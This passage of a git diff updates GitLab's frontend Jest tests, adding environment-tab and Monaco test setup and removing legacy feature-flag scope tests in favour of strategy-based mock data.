+ });
+ });
+});
diff --git a/spec/frontend/emoji/awards_app/store/actions_spec.js b/spec/frontend/emoji/awards_app/store/actions_spec.js
index e96920d1112..02b643244d2 100644
--- a/spec/frontend/emoji/awards_app/store/actions_spec.js
+++ b/spec/frontend/emoji/awards_app/store/actions_spec.js
@@ -5,6 +5,7 @@ import * as actions from '~/emoji/awards_app/store/actions';
import axios from '~/lib/utils/axios_utils';
jest.mock('@sentry/browser');
+jest.mock('~/vue_shared/plugins/global_toast');
describe('Awards app actions', () => {
afterEach(() => {
diff --git a/spec/frontend/environment.js b/spec/frontend/environment.js
index d1bc11538a3..29aa416149c 100644
--- a/spec/frontend/environment.js
+++ b/spec/frontend/environment.js
@@ -43,6 +43,9 @@ class CustomEnvironment extends JSDOMEnvironment {
};
this.global.IS_EE = IS_EE;
+ // Set up global `gl` object
+ this.global.gl = {};
+
this.rejectedPromises = [];
this.global.promiseRejectionHandler = (error) => {
@@ -67,6 +70,24 @@ class CustomEnvironment extends JSDOMEnvironment {
getEntriesByName: () => [],
});
+ //
+ // Monaco-related environment variables
+ //
+ this.global.MonacoEnvironment = { globalAPI: true };
+ Object.defineProperty(this.global, 'matchMedia', {
+ writable: true,
+ value: (query) => ({
+ matches: false,
+ media: query,
+ onchange: null,
+ addListener: () => null, // deprecated
+ removeListener: () => null, // deprecated
+ addEventListener: () => null,
+ removeEventListener: () => null,
+ dispatchEvent: () => null,
+ }),
+ });
+
this.global.PerformanceObserver = class {
/* eslint-disable no-useless-constructor, no-unused-vars, no-empty-function, class-methods-use-this */
constructor(callback) {}
diff --git a/spec/frontend/environments/environment_item_spec.js b/spec/frontend/environments/environment_item_spec.js
index 09ab1223fd1..62806c9e44c 100644
--- a/spec/frontend/environments/environment_item_spec.js
+++ b/spec/frontend/environments/environment_item_spec.js
@@ -285,6 +285,17 @@ describe('Environment item', () => {
it('should not render the "Upcoming deployment" column', () => {
expect(findUpcomingDeployment().exists()).toBe(false);
});
+
+ it('should set the name cell to be full width', () => {
+ expect(wrapper.find('[data-testid="environment-name-cell"]').classes('section-100')).toBe(
+ true,
+ );
+ });
+
+ it('should hide non-folder properties', () => {
+ expect(wrapper.find('[data-testid="environment-deployment-id-cell"]').exists()).toBe(false);
+ expect(wrapper.find('[data-testid="environment-build-cell"]').exists()).toBe(false);
+ });
});
describe('When environment can be deleted', () => {
diff --git a/spec/frontend/environments/environments_app_spec.js b/spec/frontend/environments/environments_app_spec.js
index 542cf58b079..1abdeff614c 100644
--- a/spec/frontend/environments/environments_app_spec.js
+++ b/spec/frontend/environments/environments_app_spec.js
@@ -1,3 +1,4 @@
+import { GlTabs } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
@@ -7,6 +8,7 @@ import EmptyState from '~/environments/components/empty_state.vue';
import EnableReviewAppModal from '~/environments/components/enable_review_app_modal.vue';
import EnvironmentsApp from '~/environments/components/environments_app.vue';
import axios from '~/lib/utils/axios_utils';
+import * as urlUtils from '~/lib/utils/url_utility';
import { environment, folder } from './mock_data';
describe('Environment', () => {
@@ -264,4 +266,18 @@ describe('Environment', () => {
});
});
});
+
+ describe('tabs', () => {
+ beforeEach(() => {
+ mockRequest(200, { environments: [] });
+ jest
+ .spyOn(urlUtils, 'getParameterByName')
+ .mockImplementation((param) => (param === 'scope' ? 'stopped' : null));
+ return createWrapper(true);
+ });
+
+ it('selects the tab for the parameter', () => {
+ expect(wrapper.findComponent(GlTabs).attributes('value')).toBe('1');
+ });
+ });
});
diff --git a/spec/frontend/feature_flags/components/edit_feature_flag_spec.js b/spec/frontend/feature_flags/components/edit_feature_flag_spec.js
index 0948b08f942..799b567a2c0 100644
--- a/spec/frontend/feature_flags/components/edit_feature_flag_spec.js
+++ b/spec/frontend/feature_flags/components/edit_feature_flag_spec.js
@@ -1,21 +1,16 @@
import { GlToggle, GlAlert } from '@gitlab/ui';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
+import Vue from 'vue';
import Vuex from 'vuex';
import { mockTracking } from 'helpers/tracking_helper';
import { TEST_HOST } from 'spec/test_constants';
import EditFeatureFlag from '~/feature_flags/components/edit_feature_flag.vue';
import Form from '~/feature_flags/components/form.vue';
-import { LEGACY_FLAG, NEW_VERSION_FLAG } from '~/feature_flags/constants';
import createStore from '~/feature_flags/store/edit';
import axios from '~/lib/utils/axios_utils';
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-const userCalloutId = 'feature_flags_new_version';
-const userCalloutsPath = `${TEST_HOST}/user_callouts`;
-
+Vue.use(Vuex);
describe('Edit feature flag form', () => {
let wrapper;
let mock;
@@ -25,20 +20,14 @@ describe('Edit feature flag form', () => {
endpoint: `${TEST_HOST}/feature_flags.json`,
});
- const factory = (opts = {}) => {
+ const factory = (provide = {}) => {
if (wrapper) {
wrapper.destroy();
wrapper = null;
}
wrapper = shallowMount(EditFeatureFlag, {
- localVue,
store,
- provide: {
- showUserCallout: true,
- userCalloutId,
- userCalloutsPath,
- ...opts,
- },
+ provide,
});
};
@@ -52,18 +41,8 @@ describe('Edit feature flag form', () => {
updated_at: '2019-01-17T17:27:39.778Z',
name: 'feature_flag',
description: '',
- version: LEGACY_FLAG,
edit_path: '/h5bp/html5-boilerplate/-/feature_flags/21/edit',
destroy_path: '/h5bp/html5-boilerplate/-/feature_flags/21',
- scopes: [
- {
- id: 21,
- active: false,
- environment_scope: '*',
- created_at: '2019-01-17T17:27:39.778Z',
- updated_at: '2019-01-17T17:27:39.778Z',
- },
- ],
});
factory();
setImmediate(() => done());
@@ -74,9 +53,7 @@ describe('Edit feature flag form', () => {
mock.restore();
});
- const findAlert = () => wrapper.find(GlAlert);
- const findWarningGlAlert = () =>
- wrapper.findAll(GlAlert).filter((c) => c.props('variant') === 'warning');
+ const findWarningGlAlert = () => wrapper.findComponent(GlAlert);
it('should display the iid', () => {
expect(wrapper.find('h3').text()).toContain('^5');
@@ -86,21 +63,13 @@ describe('Edit feature flag form', () => {
expect(wrapper.find(GlToggle).exists()).toBe(true);
});
- it('should set the value of the toggle to whether or not the flag is active', () => {
- expect(wrapper.find(GlToggle).props('value')).toBe(true);
- });
-
- it('should alert users the flag is read-only', () => {
- expect(findAlert().text()).toContain('GitLab is moving to a new way of managing feature flags');
- });
-
describe('with error', () => {
it('should render the error', () => {
store.dispatch('receiveUpdateFeatureFlagError', { message: ['The name is required'] });
return wrapper.vm.$nextTick(() => {
const warningGlAlert = findWarningGlAlert();
- expect(warningGlAlert.at(1).exists()).toEqual(true);
- expect(warningGlAlert.at(1).text()).toContain('The name is required');
+ expect(warningGlAlert.exists()).toEqual(true);
+ expect(warningGlAlert.text()).toContain('The name is required');
});
});
});
@@ -114,32 +83,6 @@ describe('Edit feature flag form', () => {
expect(wrapper.find(Form).exists()).toEqual(true);
});
- it('should set the version of the form from the feature flag', () => {
- expect(wrapper.find(Form).props('version')).toBe(LEGACY_FLAG);
-
- mock.resetHandlers();
-
- mock.onGet(`${TEST_HOST}/feature_flags.json`).replyOnce(200, {
- id: 21,
- iid: 5,
- active: true,
- created_at: '2019-01-17T17:27:39.778Z',
- updated_at: '2019-01-17T17:27:39.778Z',
- name: 'feature_flag',
- description: '',
- version: NEW_VERSION_FLAG,
- edit_path: '/h5bp/html5-boilerplate/-/feature_flags/21/edit',
- destroy_path: '/h5bp/html5-boilerplate/-/feature_flags/21',
- strategies: [],
- });
-
- factory();
-
- return axios.waitForAll().then(() => {
- expect(wrapper.find(Form).props('version')).toBe(NEW_VERSION_FLAG);
- });
- });
-
it('should track when the toggle is clicked', () => {
const toggle = wrapper.find(GlToggle);
const spy = mockTracking('_category_', toggle.element, jest.spyOn);
diff --git a/spec/frontend/feature_flags/components/feature_flags_table_spec.js b/spec/frontend/feature_flags/components/feature_flags_table_spec.js
index 816bc9b9707..d06d60ae310 100644
--- a/spec/frontend/feature_flags/components/feature_flags_table_spec.js
+++ b/spec/frontend/feature_flags/components/feature_flags_table_spec.js
@@ -8,9 +8,6 @@ import {
ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
ROLLOUT_STRATEGY_USER_ID,
ROLLOUT_STRATEGY_GITLAB_USER_LIST,
- NEW_VERSION_FLAG,
- LEGACY_FLAG,
- DEFAULT_PERCENT_ROLLOUT,
} from '~/feature_flags/constants';
const getDefaultProps = () => ({
@@ -23,17 +20,28 @@ const getDefaultProps = () => ({
description: 'flag description',
destroy_path: 'destroy/path',
edit_path: 'edit/path',
- version: LEGACY_FLAG,
- scopes: [
+ scopes: [],
+ strategies: [
{
- id: 1,
- active: true,
- environmentScope: 'scope',
- canUpdate: true,
- protected: false,
- rolloutStrategy: ROLLOUT_STRATEGY_ALL_USERS,
- rolloutPercentage: DEFAULT_PERCENT_ROLLOUT,
- shouldBeDestroyed: false,
+ name: ROLLOUT_STRATEGY_ALL_USERS,
+ parameters: {},
+ scopes: [{ environment_scope: '*' }],
+ },
+ {
+ name: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
+ parameters: { percentage: '50' },
+ scopes: [{ environment_scope: 'production' }, { environment_scope: 'staging' }],
+ },
+ {
+ name: ROLLOUT_STRATEGY_USER_ID,
+ parameters: { userIds: '1,2,3,4' },
+ scopes: [{ environment_scope: 'review/*' }],
+ },
+ {
+ name: ROLLOUT_STRATEGY_GITLAB_USER_LIST,
+ parameters: {},
+ user_list: { name: 'test list' },
+ scopes: [{ environment_scope: '*' }],
},
],
},
@@ -43,6 +51,7 @@ const getDefaultProps = () => ({
describe('Feature flag table', () => {
let wrapper;
let props;
+ let badges;
const createWrapper = (propsData, opts = {}) => {
wrapper = shallowMount(FeatureFlagsTable, {
@@ -56,6 +65,15 @@ describe('Feature flag table', () => {
beforeEach(() => {
props = getDefaultProps();
+ createWrapper(props, {
+ provide: { csrfToken: 'fakeToken' },
+ });
+
+ badges = wrapper.findAll('[data-testid="strategy-badge"]');
+ });
+
+ beforeEach(() => {
+ props = getDefaultProps();
});
afterEach(() => {
@@ -97,17 +115,10 @@ describe('Feature flag table', () => {
);
});
- it('should render an environments specs column', () => {
- const envColumn = wrapper.find('.js-feature-flag-environments');
-
- expect(envColumn).toBeDefined();
- expect(trimText(envColumn.text())).toBe('scope');
- });
-
it('should render an environments specs badge with active class', () => {
const envColumn = wrapper.find('.js-feature-flag-environments');
- expect(trimText(envColumn.find(GlBadge).text())).toBe('scope');
+ expect(trimText(envColumn.find(GlBadge).text())).toBe('All Users: All Environments');
});
it('should render an actions column', () => {
@@ -120,11 +131,13 @@ describe('Feature flag table', () => {
describe('when active and with an update toggle', () => {
let toggle;
+ let spy;
beforeEach(() => {
props.featureFlags[0].update_path = props.featureFlags[0].destroy_path;
createWrapper(props);
toggle = wrapper.find(GlToggle);
+ spy = mockTracking('_category_', toggle.element, jest.spyOn);
});
it('should have a toggle', () => {
@@ -143,123 +156,40 @@ describe('Feature flag table', () => {
expect(wrapper.emitted('toggle-flag')).toEqual([[flag]]);
});
});
- });
-
- describe('with an active scope and a percentage rollout strategy', () => {
- beforeEach(() => {
- props.featureFlags[0].scopes[0].rolloutStrategy = ROLLOUT_STRATEGY_PERCENT_ROLLOUT;
- props.featureFlags[0].scopes[0].rolloutPercentage = '54';
- createWrapper(props);
- });
- it('should render an environments specs badge with percentage', () => {
- const envColumn = wrapper.find('.js-feature-flag-environments');
+ it('tracks a click', () => {
+ toggle.trigger('click');
- expect(trimText(envColumn.find(GlBadge).text())).toBe('scope: 54%');
+ expect(spy).toHaveBeenCalledWith('_category_', 'click_button', {
+ label: 'feature_flag_toggle',
+ });
});
});
- describe('with an inactive scope', () => {
- beforeEach(() => {
- props.featureFlags[0].scopes[0].active = false;
- createWrapper(props);
- });
-
- it('should render an environments specs badge with inactive class', () => {
- const envColumn = wrapper.find('.js-feature-flag-environments');
-
- expect(trimText(envColumn.find(GlBadge).text())).toBe('scope');
- });
+ it('shows All Environments if the environment scope is *', () => {
+ expect(badges.at(0).text()).toContain('All Environments');
});
- describe('with a new version flag', () => {
- let toggle;
- let spy;
- let badges;
-
- beforeEach(() => {
- const newVersionProps = {
- ...props,
- featureFlags: [
- {
- id: 1,
- iid: 1,
- active: true,
- name: 'flag name',
- description: 'flag description',
- destroy_path: 'destroy/path',
- edit_path: 'edit/path',
- update_path: 'update/path',
- version: NEW_VERSION_FLAG,
- scopes: [],
- strategies: [
- {
- name: ROLLOUT_STRATEGY_ALL_USERS,
- parameters: {},
- scopes: [{ environment_scope: '*' }],
- },
- {
- name: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- parameters: { percentage: '50' },
- scopes: [{ environment_scope: 'production' }, { environment_scope: 'staging' }],
- },
- {
- name: ROLLOUT_STRATEGY_USER_ID,
- parameters: { userIds: '1,2,3,4' },
- scopes: [{ environment_scope: 'review/*' }],
- },
- {
- name: ROLLOUT_STRATEGY_GITLAB_USER_LIST,
- parameters: {},
- user_list: { name: 'test list' },
- scopes: [{ environment_scope: '*' }],
- },
- ],
- },
- ],
- };
- createWrapper(newVersionProps, {
- provide: { csrfToken: 'fakeToken', glFeatures: { featureFlagsNewVersion: true } },
- });
-
- toggle = wrapper.find(GlToggle);
- spy = mockTracking('_category_', toggle.element, jest.spyOn);
- badges = wrapper.findAll('[data-testid="strategy-badge"]');
- });
-
- it('shows All Environments if the environment scope is *', () => {
- expect(badges.at(0).text()).toContain('All Environments');
- });
-
- it('shows the environment scope if another is set', () => {
- expect(badges.at(1).text()).toContain('production');
- expect(badges.at(1).text()).toContain('staging');
- expect(badges.at(2).text()).toContain('review/*');
- });
-
- it('shows All Users for the default strategy', () => {
- expect(badges.at(0).text()).toContain('All Users');
- });
-
- it('shows the percent for a percent rollout', () => {
- expect(badges.at(1).text()).toContain('Percent of users - 50%');
- });
+ it('shows the environment scope if another is set', () => {
+ expect(badges.at(1).text()).toContain('production');
+ expect(badges.at(1).text()).toContain('staging');
+ expect(badges.at(2).text()).toContain('review/*');
+ });
- it('shows the number of users for users with ID', () => {
- expect(badges.at(2).text()).toContain('User IDs - 4 users');
- });
+ it('shows All Users for the default strategy', () => {
+ expect(badges.at(0).text()).toContain('All Users');
+ });
- it('shows the name of a user list for user list', () => {
- expect(badges.at(3).text()).toContain('User List - test list');
- });
+ it('shows the percent for a percent rollout', () => {
+ expect(badges.at(1).text()).toContain('Percent of users - 50%');
+ });
- it('tracks a click', () => {
- toggle.trigger('click');
+ it('shows the number of users for users with ID', () => {
+ expect(badges.at(2).text()).toContain('User IDs - 4 users');
+ });
- expect(spy).toHaveBeenCalledWith('_category_', 'click_button', {
- label: 'feature_flag_toggle',
- });
- });
+ it('shows the name of a user list for user list', () => {
+ expect(badges.at(3).text()).toContain('User List - test list');
});
it('renders a feature flag without an iid', () => {
diff --git a/spec/frontend/feature_flags/components/form_spec.js b/spec/frontend/feature_flags/components/form_spec.js
index 6c3fce68618..c0f9638390a 100644
--- a/spec/frontend/feature_flags/components/form_spec.js
+++ b/spec/frontend/feature_flags/components/form_spec.js
@@ -1,18 +1,12 @@
-import { GlFormTextarea, GlFormCheckbox, GlButton, GlToggle } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import { uniqueId } from 'lodash';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import Api from '~/api';
-import EnvironmentsDropdown from '~/feature_flags/components/environments_dropdown.vue';
import Form from '~/feature_flags/components/form.vue';
import Strategy from '~/feature_flags/components/strategy.vue';
import {
ROLLOUT_STRATEGY_ALL_USERS,
ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- INTERNAL_ID_PREFIX,
- DEFAULT_PERCENT_ROLLOUT,
- LEGACY_FLAG,
- NEW_VERSION_FLAG,
} from '~/feature_flags/constants';
import RelatedIssuesRoot from '~/related_issues/components/related_issues_root.vue';
import { featureFlag, userList, allUsersStrategy } from '../mock_data';
@@ -29,15 +23,8 @@ describe('feature flag form', () => {
const requiredInjections = {
environmentsEndpoint: '/environments.json',
projectId: '1',
- glFeatures: {
- featureFlagPermissions: true,
- featureFlagsNewVersion: true,
- },
};
- const findAddNewScopeRow = () => wrapper.findByTestId('add-new-scope');
- const findGlToggle = () => wrapper.find(GlToggle);
-
const factory = (props = {}, provide = {}) => {
wrapper = extendedWrapper(
shallowMount(Form, {
@@ -100,328 +87,6 @@ describe('feature flag form', () => {
it('should render description textarea', () => {
expect(wrapper.find('#feature-flag-description').exists()).toBe(true);
});
-
- describe('scopes', () => {
- it('should render scopes table', () => {
- expect(wrapper.find('.js-scopes-table').exists()).toBe(true);
- });
-
- it('should render scopes table with a new row ', () => {
- expect(findAddNewScopeRow().exists()).toBe(true);
- });
-
- describe('status toggle', () => {
- describe('without filled text input', () => {
- it('should add a new scope with the text value empty and the status', () => {
- findGlToggle().vm.$emit('change', true);
-
- expect(wrapper.vm.formScopes).toHaveLength(1);
- expect(wrapper.vm.formScopes[0].active).toEqual(true);
- expect(wrapper.vm.formScopes[0].environmentScope).toEqual('');
-
- expect(wrapper.vm.newScope).toEqual('');
- });
- });
-
- it('has label', () => {
- expect(findGlToggle().props('label')).toBe(Form.i18n.statusLabel);
- });
-
- it('should be disabled if the feature flag is not active', (done) => {
- wrapper.setProps({ active: false });
- wrapper.vm.$nextTick(() => {
- expect(findGlToggle().props('disabled')).toBe(true);
- done();
- });
- });
- });
- });
- });
-
- describe('with provided data', () => {
- beforeEach(() => {
- factory({
- ...requiredProps,
- name: featureFlag.name,
- description: featureFlag.description,
- active: true,
- version: LEGACY_FLAG,
- scopes: [
- {
- id: 1,
- active: true,
- environmentScope: 'scope',
- canUpdate: true,
- protected: false,
- rolloutStrategy: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- rolloutPercentage: '54',
- rolloutUserIds: '123',
- shouldIncludeUserIds: true,
- },
- {
- id: 2,
- active: true,
- environmentScope: 'scope',
- canUpdate: false,
- protected: true,
- rolloutStrategy: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- rolloutPercentage: '54',
- rolloutUserIds: '123',
- shouldIncludeUserIds: true,
- },
- ],
- });
- });
-
- describe('scopes', () => {
- it('should be possible to remove a scope', () => {
- expect(wrapper.findByTestId('feature-flag-delete').exists()).toEqual(true);
- });
-
- it('renders empty row to add a new scope', () => {
- expect(findAddNewScopeRow().exists()).toEqual(true);
- });
-
- it('renders the user id checkbox', () => {
- expect(wrapper.find(GlFormCheckbox).exists()).toBe(true);
- });
-
- it('renders the user id text area', () => {
- expect(wrapper.find(GlFormTextarea).exists()).toBe(true);
-
- expect(wrapper.find(GlFormTextarea).vm.value).toBe('123');
- });
-
- describe('update scope', () => {
- describe('on click on toggle', () => {
- it('should update the scope', () => {
- findGlToggle().vm.$emit('change', false);
-
- expect(wrapper.vm.formScopes[0].active).toBe(false);
- });
-
- it('should be disabled if the feature flag is not active', (done) => {
- wrapper.setProps({ active: false });
-
- wrapper.vm.$nextTick(() => {
- expect(findGlToggle().props('disabled')).toBe(true);
- done();
- });
- });
- });
- describe('on strategy change', () => {
- it('should not include user IDs if All Users is selected', () => {
- const scope = wrapper.find({ ref: 'scopeRow' });
- scope.find('select').setValue(ROLLOUT_STRATEGY_ALL_USERS);
- return wrapper.vm.$nextTick().then(() => {
- expect(scope.find('#rollout-user-id-0').exists()).toBe(false);
- });
- });
- });
- });
-
- describe('deleting an existing scope', () => {
- beforeEach(() => {
- wrapper.find('.js-delete-scope').vm.$emit('click');
- });
-
- it('should add `shouldBeDestroyed` key the clicked scope', () => {
- expect(wrapper.vm.formScopes[0].shouldBeDestroyed).toBe(true);
- });
-
- it('should not render deleted scopes', () => {
- expect(wrapper.vm.filteredScopes).toEqual([expect.objectContaining({ id: 2 })]);
- });
- });
-
- describe('deleting a new scope', () => {
- it('should remove the scope from formScopes', () => {
- factory({
- ...requiredProps,
- name: 'feature_flag_1',
- description: 'this is a feature flag',
- scopes: [
- {
- environmentScope: 'new_scope',
- active: false,
- id: uniqueId(INTERNAL_ID_PREFIX),
- canUpdate: true,
- protected: false,
- strategies: [
- {
- name: ROLLOUT_STRATEGY_ALL_USERS,
- parameters: {},
- },
- ],
- },
- ],
- });
-
- wrapper.find('.js-delete-scope').vm.$emit('click');
-
- expect(wrapper.vm.formScopes).toEqual([]);
- });
- });
-
- describe('with * scope', () => {
- beforeEach(() => {
- factory({
- ...requiredProps,
- name: 'feature_flag_1',
- description: 'this is a feature flag',
- scopes: [
- {
- environmentScope: '*',
- active: false,
- canUpdate: false,
- rolloutStrategy: ROLLOUT_STRATEGY_ALL_USERS,
- rolloutPercentage: DEFAULT_PERCENT_ROLLOUT,
- },
- ],
- });
- });
-
- it('renders read-only name', () => {
- expect(wrapper.find('.js-scope-all').exists()).toEqual(true);
- });
- });
-
- describe('without permission to update', () => {
- it('should have the flag name input disabled', () => {
- const input = wrapper.find('#feature-flag-name');
-
- expect(input.element.disabled).toBe(true);
- });
-
- it('should have the flag discription text area disabled', () => {
- const textarea = wrapper.find('#feature-flag-description');
-
- expect(textarea.element.disabled).toBe(true);
- });
-
- it('should have the scope that cannot be updated be disabled', () => {
- const row = wrapper.findAll('.gl-responsive-table-row').at(2);
-
- expect(row.find(EnvironmentsDropdown).vm.disabled).toBe(true);
- expect(row.find(GlToggle).props('disabled')).toBe(true);
- expect(row.find('.js-delete-scope').exists()).toBe(false);
- });
- });
- });
-
- describe('on submit', () => {
- const selectFirstRolloutStrategyOption = (dropdownIndex) => {
- wrapper
- .findAll('select.js-rollout-strategy')
- .at(dropdownIndex)
- .findAll('option')
- .at(1)
- .setSelected();
- };
-
- beforeEach(() => {
- factory({
- ...requiredProps,
- name: 'feature_flag_1',
- active: true,
- description: 'this is a feature flag',
- scopes: [
- {
- id: 1,
- environmentScope: 'production',
- canUpdate: true,
- protected: true,
- active: false,
- rolloutStrategy: ROLLOUT_STRATEGY_ALL_USERS,
- rolloutPercentage: DEFAULT_PERCENT_ROLLOUT,
- rolloutUserIds: '',
- },
- ],
- });
-
- return wrapper.vm.$nextTick();
- });
-
- it('should emit handleSubmit with the updated data', () => {
- wrapper.find('#feature-flag-name').setValue('feature_flag_2');
-
- return wrapper.vm
- .$nextTick()
- .then(() => {
- wrapper
- .find('.js-new-scope-name')
- .find(EnvironmentsDropdown)
- .vm.$emit('selectEnvironment', 'review');
-
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- findAddNewScopeRow().find(GlToggle).vm.$emit('change', true);
- })
- .then(() => {
- findGlToggle().vm.$emit('change', true);
- return wrapper.vm.$nextTick();
- })
-
- .then(() => {
- selectFirstRolloutStrategyOption(0);
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- selectFirstRolloutStrategyOption(2);
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- wrapper.find('.js-rollout-percentage').setValue('55');
-
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- wrapper.find({ ref: 'submitButton' }).vm.$emit('click');
-
- const data = wrapper.emitted().handleSubmit[0][0];
-
- expect(data.name).toEqual('feature_flag_2');
- expect(data.description).toEqual('this is a feature flag');
- expect(data.active).toBe(true);
-
- expect(data.scopes).toEqual([
- {
- id: 1,
- active: true,
- environmentScope: 'production',
- canUpdate: true,
- protected: true,
- rolloutStrategy: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- rolloutPercentage: '55',
- rolloutUserIds: '',
- shouldIncludeUserIds: false,
- },
- {
- id: expect.any(String),
- active: false,
- environmentScope: 'review',
- canUpdate: true,
- protected: false,
- rolloutStrategy: ROLLOUT_STRATEGY_ALL_USERS,
- rolloutPercentage: DEFAULT_PERCENT_ROLLOUT,
- rolloutUserIds: '',
- },
- {
- id: expect.any(String),
- active: true,
- environmentScope: '',
- canUpdate: true,
- protected: false,
- rolloutStrategy: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- rolloutPercentage: DEFAULT_PERCENT_ROLLOUT,
- rolloutUserIds: '',
- shouldIncludeUserIds: false,
- },
- ]);
- });
- });
- });
});
describe('with strategies', () => {
@@ -432,7 +97,6 @@ describe('feature flag form', () => {
name: featureFlag.name,
description: featureFlag.description,
active: true,
- version: NEW_VERSION_FLAG,
strategies: [
{
type: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
diff --git a/spec/frontend/feature_flags/components/new_feature_flag_spec.js b/spec/frontend/feature_flags/components/new_feature_flag_spec.js
index e209c14d8c7..fe98b6421d4 100644
--- a/spec/frontend/feature_flags/components/new_feature_flag_spec.js
+++ b/spec/frontend/feature_flags/components/new_feature_flag_spec.js
@@ -4,7 +4,6 @@ import Vuex from 'vuex';
import { TEST_HOST } from 'spec/test_constants';
import Form from '~/feature_flags/components/form.vue';
import NewFeatureFlag from '~/feature_flags/components/new_feature_flag.vue';
-import { ROLLOUT_STRATEGY_ALL_USERS, DEFAULT_PERCENT_ROLLOUT } from '~/feature_flags/constants';
import createStore from '~/feature_flags/store/new';
import { allUsersStrategy } from '../mock_data';
@@ -71,20 +70,6 @@ describe('New feature flag form', () => {
expect(wrapper.find(Form).exists()).toEqual(true);
});
- it('should render default * row', () => {
- const defaultScope = {
- id: expect.any(String),
- environmentScope: '*',
- active: true,
- rolloutStrategy: ROLLOUT_STRATEGY_ALL_USERS,
- rolloutPercentage: DEFAULT_PERCENT_ROLLOUT,
- rolloutUserIds: '',
- };
- expect(wrapper.vm.scopes).toEqual([defaultScope]);
-
- expect(wrapper.find(Form).props('scopes')).toContainEqual(defaultScope);
- });
-
it('has an all users strategy by default', () => {
const strategies = wrapper.find(Form).props('strategies');
diff --git a/spec/frontend/feature_flags/mock_data.js b/spec/frontend/feature_flags/mock_data.js
index 11a91e5b2a8..b5f09ac1957 100644
--- a/spec/frontend/feature_flags/mock_data.js
+++ b/spec/frontend/feature_flags/mock_data.js
@@ -16,86 +16,24 @@ export const featureFlag = {
destroy_path: 'feature_flags/1',
update_path: 'feature_flags/1',
edit_path: 'feature_flags/1/edit',
- scopes: [
+ strategies: [
{
- id: 1,
- active: true,
- environment_scope: '*',
- can_update: true,
- protected: false,
- created_at: '2019-01-14T06:41:40.987Z',
- updated_at: '2019-01-14T06:41:40.987Z',
- strategies: [
- {
- name: ROLLOUT_STRATEGY_ALL_USERS,
- parameters: {},
- },
- ],
+ id: 9,
+ name: ROLLOUT_STRATEGY_ALL_USERS,
+ parameters: {},
+ scopes: [{ id: 17, environment_scope: '*' }],
},
{
- id: 2,
- active: false,
- environment_scope: 'production',
- can_update: true,
- protected: false,
- created_at: '2019-01-14T06:41:40.987Z',
- updated_at: '2019-01-14T06:41:40.987Z',
- strategies: [
- {
- name: ROLLOUT_STRATEGY_ALL_USERS,
- parameters: {},
- },
- ],
+ id: 8,
+ name: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
+ parameters: {},
+ scopes: [{ id: 18, environment_scope: 'review/*' }],
},
{
- id: 3,
- active: false,
- environment_scope: 'review/*',
- can_update: true,
- protected: false,
- created_at: '2019-01-14T06:41:40.987Z',
- updated_at: '2019-01-14T06:41:40.987Z',
- strategies: [
- {
- name: ROLLOUT_STRATEGY_ALL_USERS,
- parameters: {},
- },
- ],
- },
- {
- id: 4,
- active: true,
- environment_scope: 'development',
- can_update: true,
- protected: false,
- created_at: '2019-01-14T06:41:40.987Z',
- updated_at: '2019-01-14T06:41:40.987Z',
- strategies: [
- {
- name: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- parameters: {
- percentage: '86',
- },
- },
- ],
- },
- {
- id: 5,
- active: true,
- environment_scope: 'development',
- can_update: true,
- protected: false,
- created_at: '2019-01-14T06:41:40.987Z',
- updated_at: '2019-01-14T06:41:40.987Z',
- strategies: [
- {
- name: ROLLOUT_STRATEGY_FLEXIBLE_ROLLOUT,
- parameters: {
- rollout: '42',
- stickiness: 'DEFAULT',
- },
- },
- ],
+ id: 7,
+ name: ROLLOUT_STRATEGY_USER_ID,
+ parameters: { userIds: '1,2,3,4' },
+ scopes: [{ id: 19, environment_scope: 'production' }],
},
],
};
diff --git a/spec/frontend/feature_flags/store/edit/actions_spec.js b/spec/frontend/feature_flags/store/edit/actions_spec.js
index afcac53468c..12fccd79170 100644
--- a/spec/frontend/feature_flags/store/edit/actions_spec.js
+++ b/spec/frontend/feature_flags/store/edit/actions_spec.js
@@ -1,11 +1,7 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import { TEST_HOST } from 'spec/test_constants';
-import {
- NEW_VERSION_FLAG,
- LEGACY_FLAG,
- ROLLOUT_STRATEGY_ALL_USERS,
-} from '~/feature_flags/constants';
+import { ROLLOUT_STRATEGY_ALL_USERS } from '~/feature_flags/constants';
import {
updateFeatureFlag,
requestUpdateFeatureFlag,
@@ -19,7 +15,7 @@ import {
} from '~/feature_flags/store/edit/actions';
import * as types from '~/feature_flags/store/edit/mutation_types';
import state from '~/feature_flags/store/edit/state';
-import { mapStrategiesToRails, mapFromScopesViewModel } from '~/feature_flags/store/helpers';
+import { mapStrategiesToRails } from '~/feature_flags/store/helpers';
import axios from '~/lib/utils/axios_utils';
jest.mock('~/lib/utils/url_utility');
@@ -46,46 +42,9 @@ describe('Feature flags Edit Module actions', () => {
describe('success', () => {
it('dispatches requestUpdateFeatureFlag and receiveUpdateFeatureFlagSuccess ', (done) => {
const featureFlag = {
- name: 'feature_flag',
- description: 'feature flag',
- scopes: [
- {
- id: '1',
- environmentScope: '*',
- active: true,
- shouldBeDestroyed: false,
- canUpdate: true,
- protected: false,
- rolloutStrategy: ROLLOUT_STRATEGY_ALL_USERS,
- },
- ],
- version: LEGACY_FLAG,
- active: true,
- };
